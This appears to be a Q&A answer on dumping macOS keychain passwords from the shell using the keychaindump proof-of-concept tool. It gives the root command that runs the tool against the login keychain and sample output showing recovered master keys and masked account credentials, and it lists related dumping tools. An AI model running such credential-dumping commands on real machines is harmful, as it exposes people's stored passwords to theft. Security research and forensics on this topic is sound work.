How to dump the content of keychain from the shell?
There is Keychaindump tool written by Juuso Salonen which is a proof-of-concept tool for reading OS X keychain passwords as root.

Basic usage:

$ sudo ./keychaindump ~/Library/Keychains/login.keychain


Example output:

$ sudo ./keychaindump 
[*] Searching process 15 heap range 0x7fa809400000-0x7fa809500000
[*] Searching process 15 heap range 0x7fa809500000-0x7fa809600000
[*] Searching process 15 heap range 0x7fa809600000-0x7fa809700000
[*] Searching process 15 heap range 0x7fa80a900000-0x7fa80ac00000
[*] Found 17 master key candidates
[*] Trying to decrypt wrapping key in /Users/juusosalonen/Library/Keychains/login.keychain
[*] Trying master key candidate: b49ad51a672bd4be55a4eb4efdb90b242a5f262ba80a95df
[*] Trying master key candidate: 22b8aa80fa0700605f53994940fcfe9acc44eb1f4587f1ac
[*] Trying master key candidate: 1d7aa80fa0700f002005043210074b877579996d09b70000
[*] Trying master key candidate: 88edbaf22819a8eeb8e9b75120c0775de8a4d7da842d4a4a
[+] Found master key: 88edbaf22819a8eeb8e9b75120c0775de8a4d7da842d4a4a
[+] Found wrapping key: e9acc39947f1996df940fceb1f458ac74b877579f54409b7
xxxxxxx:192.168.1.1:xxxxxxx
xxxxxxx@gmail.com:login.facebook.com:xxxxxxx
xxxxxxx@gmail.com:smtp.google.com:xxxxxxx
xxxxxxx@gmail.com:imap.google.com:xxxxxxx
xxxxxxx:twitter.com:xxxxxxx
xxxxxxx@gmail.com:www.google.com:xxxxxxx
xxxxxxx:imap.gmail.com:xxxxxxx
...


Other tools:


CocoaBeans/KeychainDump at GitHub
dumpkeychain from EnCase App Central (Windows)


See also:


Breaking into the OS X keychain
Examining Mac OS X User &amp; System Keychains
Convert OS X Keychain exported entries into logins for 1Password import at GitHub Gist